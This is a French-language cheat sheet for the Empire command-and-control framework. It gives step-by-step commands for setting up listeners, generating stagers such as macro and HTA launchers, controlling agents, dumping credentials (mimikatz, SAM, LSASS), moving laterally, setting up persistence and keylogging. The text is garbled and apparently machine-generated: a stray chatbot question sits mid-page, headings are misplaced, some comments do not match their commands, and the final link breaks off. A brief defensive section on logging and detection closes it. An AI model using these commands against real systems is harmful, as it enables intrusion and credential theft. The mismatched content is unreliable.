Aide-mémoire du Framework Empire
Vue d’ensemble
Empire est un framework de post-exploitation qui comprend un agent Windows pure PowerShell 2.0 et un agent Linux/macOS pure Python 3. Il fournit une infrastructure de commande et de contrôle (C2) puissante pour les opérations de red team, les tests de pénétration et l’émulation d’adversaire.
⚠️ Avertissement : Empire est un outil de test de sécurité qui ne doit être utilisé que dans des environnements pour lesquels vous avez une autorisation explicite.
Installation
Depuis GitHub
# Clone the repository
git clone https://github.com/BC-SECURITY/Empire.git
# Navigate to the directory
cd Empire
# Run the installation script
sudo ./setup/install.sh
Utilisant Docker
# Pull the Docker image
docker pull bcsecurity/empire:latest
# Run the container
docker run -it -p 1337:1337 -p 5000:5000 bcsecurity/empire:latest
Sur Kali Linux
# Install from package manager
sudo apt update
sudo apt install powershell-empire
Utilisation de base
Démarrer Empire
# Start the Empire server
sudo empire
# Start with REST API (for Starkiller)
sudo empire --rest --username <username> --password <password>
Utiliser Starkiller (Interface graphique)
# Install Starkiller
npm install -g @starkiller/starkiller
# Run Starkiller
starkiller
Navigation dans l’Interface de Ligne de Commande d’Empire
| Commande | Description |
|---|---|
help | Afficher le menu d’aide |
menu | Retourner au menu principal |
back | Revenir au niveau de menu précédent |
exit | Exit Empire |
usemodule <module> | Sélectionnez un module à utiliser |
usestager <stager> | Sélectionnez un stager à utiliser |
uselistener <listener> | Sélectionnez un listener à utiliser |
interact <agent> | Interagir avec un agent |
searchmodule <term> | Rechercher des modules |
Listeners
Créer un Listener
# In Empire CLI
listeners
uselistener http
set Name http_listener
set Host 192.168.1.100
set Port 8080
execute
Options Courantes de Listener
| Option | Description |
|---|---|
Name | Nom pour l’auditeur |
Host | IP/hostname pour staging |
Port | Port pour l’auditeur |
CertPath | Chemin de certificat pour HTTPS |
DefaultDelay | Délai de rappel de l’agent (en secondes) |
DefaultJitter | Gigue dans les callbacks d’agent (0.0-1.0) |
DefaultProfile | Profil de communication par défaut |
KillDate | Date pour que l’auditeur quitte (MM/DD/YYYY) |
WorkingHours | Heures pour le rappel de l’agent (09:00-17:00) |
Gestion des Listeners
# List all listeners
listeners
# Kill a listener
kill http_listener
# View a listener's options
info http_listener
Stagers
Générer un Stager
# In Empire CLI
usestager windows/launcher_bat
set Listener http_listener
generate
Types de Stagers Courants
| Stager | Description |
|---|---|
windows/launcher_bat | Lanceur de fichier BAT |
windows/launcher_vbs | Lanceur de script VBS |
windows/launcher_powershell | Lanceur PowerShell |
multi/launcher | Lanceur multi-plateforme |
osx/launcher | lanceur macOS |
linux/launcher | Lanceur Linux |
windows/dll | Lanceur DLL |
windows/macro | Lanceur de macros Office |
windows/hta | Lanceur HTA |
Agents
Commandes d’Agent
# List all agents
agents
# Interact with an agent
interact C2AGENT123
# Get agent info
info
# Execute a shell command
shell whoami
# Run a PowerShell command
powershell Get-Process
# Upload a file
upload /path/to/local/file /path/on/target
# Download a file
download /path/on/target /local/path
# Take a screenshot
screenshot
# Exit agent menu
back
Gestion des Agents
# Rename an agent
rename C2AGENT123 new_name
# Kill an agent
kill C2AGENT123
# Remove an agent from the database
remove C2AGENT123
# Set sleep interval
sleep 30
# Set jitter percentage
sysinfo
Modules
Utilisation des Modules
# List available modules
usemodule
# Search for modules
searchmodule credentials
# Use a specific module
usemodule powershell/situational_awareness/network/powerview/get_user
# Set module options
set Username administrator
# Execute the module
execute
Catégories Courantes de Modules
Accès aux Identifiants
# Dump credentials from memory
usemodule powershell/credentials/mimikatz/logonpasswords
# Dump SAM database
usemodule powershell/credentials/sam
# Dump LSASS process
usemodule powershell/credentials/credential_injection/lsass_dump
Conscience Situationnelle
# Get domain users
usemodule powershell/situational_awareness/network/powerview/get_user
# Get domain computers
usemodule powershell/situational_awareness/network/powerview/get_computer
# Get domain groups
usemodule powershell/situational_awareness/network/powerview/get_group
Mouvement Latéral
# WMI lateral movement
usemodule powershell/lateral_movement/invoke_wmi
# PSExec lateral movement
usemodule powershell/lateral_movement/invoke_psexec
# WinRM lateral movement
usemodule powershell/lateral_movement/invoke_winrm
Persistance
# Registry persistence
usemodule powershell/persistence/userland/registry
# Scheduled task persistence
usemodule powershell/persistence/userland/schtasks
# WMI persistence
usemodule powershell/persistence/elevated/wmi
Fonctionnalités Avancées
Profils C2 Modifiables
Would you like me to continue with the remaining sections that are currently marked with placeholders (3-20)?```
In Empire CLI
profiles use default set DefaultProfile /path/to/profile.profile
Set agent kill date
set KillDate 01/01/2025
Set working hours
set WorkingHours 09:00-17:00
Increase agent sleep time
sleep 300 30
Use keylogging module
usemodule powershell/collection/keylogger
Use clipboard monitoring
usemodule powershell/collection/clipboard_monitor
Use screenshot module
usemodule powershell/collection/screenshot
### Problèmes Courants
```bash
# Check if the listener is running
listeners
# Verify firewall settings
sudo iptables -L
# Check for port conflicts
netstat -tuln|grep <port>
```**Problèmes de Connexion**
```bash
# Verify agent is running
agents
# Check for network connectivity issues
# Verify sleep/jitter settings
# Check module requirements
info
# Verify agent privileges
shell whoami
# Try running in a different process context
usemodule powershell/management/psinject
```**Agent Ne Vérifiant Pas**
```powershell
# Enable PowerShell Script Block Logging
Set-ItemProperty -Path "HKLM:\SOFTWARE\Wow6432Node\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging" -Name "EnableScriptBlockLogging" -Value 1
# Enable PowerShell Module Logging
Set-ItemProperty -Path "HKLM:\SOFTWARE\Wow6432Node\Policies\Microsoft\Windows\PowerShell\ModuleLogging" -Name "EnableModuleLogging" -Value 1
# Enable Constrained Language Mode
$ExecutionContext.SessionState.LanguageMode = "ConstrainedLanguage"
https://github.com/BC-SECURITY/Empire Échecs d’Exécution de Module https://bc-security.gitbook.io/empire-wiki/
Mesures Défensives
Méthodes de Détection
- Journalisation des Blocs de Script PowerShell
- Journalisation des Modules PowerShell
- AMSI (Antimalware Scan Interface)
- Analyse du trafic réseau
- Analyse comportementale
Techniques de Prévention
https://github.com/BC-SECURITY/Starkiller
Ressources
- Dépôt GitHub BC Security
- [Wiki Empire](